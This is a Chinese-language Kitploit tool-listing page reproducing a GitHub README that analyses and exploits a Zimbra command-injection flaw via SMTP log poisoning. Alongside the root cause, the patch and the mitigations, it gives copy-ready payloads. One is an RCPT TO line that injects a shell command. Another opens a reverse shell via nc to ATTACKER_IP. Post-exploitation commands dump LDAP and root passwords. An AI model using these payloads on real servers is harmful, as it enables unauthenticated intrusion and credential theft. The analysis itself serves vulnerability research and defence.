Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-73570 — Zimbra 协作套件 RCE — SMTP 日志投毒 → swatchdog → 操作系统命令注入(CVSS 8.9,CISA KEV) | Kitploit
工具/GitHubGitHub/juanpoch/cve-2026-73570
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubjuanpoch/cve-2026-73570

CVE-2026-73570

Zimbra 协作套件 RCE — SMTP 日志投毒 → swatchdog → 操作系统命令注入(CVSS 8.9,CISA KEV)

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-73570 Zimbra — 协作套件 RCE

注意: 本仓库包含对 CVE-2026-73570 的独立技术分析和 PoC 复现。并非原始漏洞报告。


Zimbra 协作套件 RCE — SMTP 日志投毒 → swatchdog → 操作系统命令注入(CVSS 8.9,CISA KEV)

类型: 操作系统命令注入 → 未认证 RCE
攻击向量: SMTP 日志投毒 → swatchdog → dosnmp 字符串形式 shell 展开
受影响版本: Zimbra 协作套件 10.x(< 10.1.20)
CVSS: 8.9(严重)
CISA KEV: 是 — 已确认存在活跃利用(截至 2026 年 8 月约 270 个被入侵实例)
补丁: Zimbra 10.1.20(发布于 2026-07-20)


根本原因

该漏洞位于 /opt/zimbra/conf/swatchrc.in 中的 dosnmp 函数内,该函数负责在 Zimbra 服务状态变更时发送 SNMP trap 通知。

存在漏洞的代码(Zimbra 10.1.1–10.1.19)— 字符串形式 system() 调用:

root@kitploit:~
sub dosnmp {
    my %args = (@_);
    print "SNMP notification: $args{MESSAGE}\n";
    # STRING-form: /bin/sh -c "...". $args{SERVICE} expands in the shell without sanitization.
    system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}

修复后的代码(Zimbra 10.1.20)— 列表形式 system(),不调用 shell:

sub dosnmp {
    my %args = (@_);
    print "SNMP notification: $args{MESSAGE}\n";
    # LIST-form: exec() directly, shell never invoked.
    system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
           $traphost, "", $snmpsvctrap, $snmpsvcname, "s",
           $args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}

修复仅需一行改动:向 system() 传递列表而非字符串,即可完全绕过 shell 解释。

---

利用链

攻击者(Kali)
    │
    │  SMTP RCPT TO:
    │  <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
    ▼
Postfix/smtpd(Zimbra 服务器,端口 25)
    │  接受 RCPT TO 并将其记录到 /var/log/zimbra.log
    ▼
swatchdog(zimbra 进程,监视 /var/log/zimbra.log)
    │  模式:/: Service status change: (\S+) (.*) changed from stopped to running/
    │  捕获:$1 = "localhost",$2 = "$(cmd)"
    │  调用:donotify(SERVICE="$(cmd)", ...)
    ▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
    │  /bin/sh -c 展开 $(cmd) → 执行命令
    ▼
以 "zimbra" 用户身份执行 RCE(uid=998,gid=999)

关键洞察:Postfix 会原样接受并记录带引号本地部分的 RCPT TO — 这是可靠的日志投毒向量。

---

概念验证

基础 PoC — 写入文件

nc <target> 25

EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT

结果:/tmp/pwned_rce 包含 uid=998(zimbra) gid=999(zimbra)

反弹 Shell

nc -lvnp 4444

nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF

---

实验环境搭建

环境要求

- VirtualBox、Ubuntu Server 22.04 LTS、Zimbra 10.1.0

网络

攻击者(Kali):  10.0.2.15
受害者(Ubuntu):  10.0.2.22  (mail.lab.local)
VirtualBox NAT 网络:10.0.2.0/24

复现漏洞条件

cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in  # 应用字符串形式 system() 调用

PERL5LIB=/opt/zimbra/common/lib/perl5 \
  /opt/zimbra/common/bin/swatchdog \
  -c /opt/zimbra/conf/swatchrc \
  -t /var/log/zimbra.log &

---

后渗透利用

/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password

---

缓解措施

- 补丁:升级至 Zimbra 10.1.20 或更高版本。
- 临时解决方案:zmlocalconfig -e snmp_notify=no && zmconfigdctl restart

---

参考资料

- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- CISA KEV 目录 (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Zimbra 安全公告 (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)

---

免责声明

本仓库仅供教育和授权安全研究之用。
请勿将其用于您不拥有或未经明确书面许可进行测试的系统。
下载工具